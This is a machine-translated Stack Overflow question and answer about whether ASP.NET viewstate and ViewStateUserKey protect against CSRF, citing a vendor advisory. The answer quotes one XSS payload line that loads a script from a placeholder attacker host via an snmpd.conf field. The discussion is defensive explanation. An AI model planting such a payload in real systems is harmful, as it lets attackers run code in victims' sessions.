【问题标题】:When does viewstate stop CSRF and when does it fail to do so?viewstate 何时停止 CSRF,何时停止?
【发布时间】:2012-07-23 05:59:08
【问题描述】:

在什么情况下请求中的视图状态可以防止 CSRF 攻击? This exploit 声称即使请求中存在视图状态,它仍然容易受到 CSRF 的攻击。然而,漏洞利用并没有解释为什么会这样。

【问题讨论】:

  • 这真的是一个 asp-classic 问题还是您的意思是 asp.net?

标签: asp.net security iis csrf


【解决方案1】:

视图状态是一种在回发中保持视图状态的方法(即控件的属性值)。如果这种状态可以被攻击者猜到或伪造,那么攻击者也可以伪造一个真实的跨站请求。

mentioned case 中,似乎该攻击实际上需要一个跨站点脚本漏洞才能进行 CSRF 攻击:

通过 XSS 和 CSRF 的组合,可以通过将 snmpd.conf 文件配置为指向攻击者控制的 JavaScript 文件来将用户添加到 Web 应用程序:

syscontact <script src="http://attacker/evil.js"></script>

因此,在目标源内部执行漏洞利用代码,这种请求伪造攻击不再是“跨站点”。

此外,由于视图状态在某些情况下是可预测的,因此不能防止 CSRF 攻击,因此供应商在视图状态机制中添加了一些不可预测的信息。在 ASP.NET 中,这称为 ViewStateUserKey property,它基本上是每个用户的私钥,用于为 viewstate 的 MAC 计算加盐。

但正如漏洞描述所说,他们似乎已经在使用这样的保护措施:

[...] NPM 也容易受到 CSRF 攻击,尽管它使用了 VIEWSTATE 保护。

因此,这又是一个跨站点脚本漏洞,而不是跨站点请求伪造漏洞。因为如果您已经能够在站点内执行 JavaScript 代码,那么您就已经完全控制了站点。

【讨论】:

  • 谢谢!因此,如果我正确理解了这一点,如果目标系统没有 XSS 古老性并且不使用 ViewStateUserKey 属性,那么给定的请求仍然容易受到 CSRF 的攻击?
  • @Rook 主要取决于视图状态中存储了哪些信息,以及这些信息是否可预测。有时视图状态还包含某种计数器,该计数器随每个请求而增加,因此不太可预测。但它可能在某些情况下。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2016-06-30
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2023-04-11
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多